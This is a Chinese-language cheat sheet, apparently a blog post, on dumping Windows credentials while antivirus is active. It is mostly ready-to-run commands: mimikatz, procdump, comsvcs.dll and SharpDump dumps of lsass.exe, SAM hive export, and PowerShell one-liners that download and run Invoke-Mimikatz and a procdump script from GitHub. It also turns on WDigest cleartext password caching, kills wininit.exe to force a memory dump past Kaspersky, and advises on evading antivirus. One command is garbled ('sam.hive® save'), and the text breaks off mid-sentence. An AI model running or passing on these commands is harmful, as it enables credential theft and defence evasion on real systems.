市面上可见到的读Windows本地密码的大多工具都是变则法子的去读lsass.exe的内存或者SAM数据库,然后从里面提取hash。所以有杀软的情况下读密码这事根本就不是工具免不免杀的问题,而是杀软有没有监控保护lsass.exe或SAM的问题,所以读本地密码条件可以总结为:
能正常访访问lsass.exe内存或SAM数据库。
工具仅部分,通过以下操作可一键获取密码。
https://github.com/gentilkiwi/mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
https://github.com/quarkslab/quarkspwdump
QuarksPwDump.exe -dhl
https://www.ampliasecurity.com/research/wcefaq.html
wce.exe -w
http://www.tarasco.org/security/pwdump_7/index.html
PwDump7.exe
https://github.com/AlessandroZ/LaZagne
laZagne_x86.exe windows
工具仅部分,通过以下操作可先获取到lsass内存文件,然后使用mimikatz可进一步读取密码。
参考命令:
mimikatz.exe"sekurlsa::minidump lsass.dmp""sekurlsa::logonPasswords full" "exit"
https://github.com/GhostPack/SharpDump
for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do SharpDump.exe %i
https://docs.microsoft.com/en-us/sysinternals/downloads/procdump
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do Sqldumper.exe %i 0 0x01100
https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump %i .\lsass.dmp full
管理员执行:
reg save hklm\sam .\sam.hive® save hklm\system .\system.hive
然后将两个文件导入SAMInside并将NT-Hash复制出来去相关网站查询即可。(mimikatz也可以读)
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
读一下代码会发现都是peloader做的,同理可以把procdump做成psh实现无文件dump。
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TheKingOfDuck/hashdump/master/procdump/procdump.ps1');Invoke-Procdump64 -Args '-accepteula -ma lsass.exe lsass.dmp'"
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
键值为1时Wdigest Auth保存明文口令,为0则不保存明文。修改为重新登录生效。
卡巴以及小红伞均对lsass.exe进行了保护,导致微软出的两款工具以及他自己的kldumper都无法用于dump lsass。但是可以通过制造蓝屏来获取所有内存的文件MEMORY.DMP没然后在提出lsass进一步读取。
taskkill /f /im "wininit.exe"
可参考: https://www.mrwu.red/web/2000.html
bypass av可以以卡巴为衡量标准,能过卡巴约等于过全部。
所编译后的文件放在: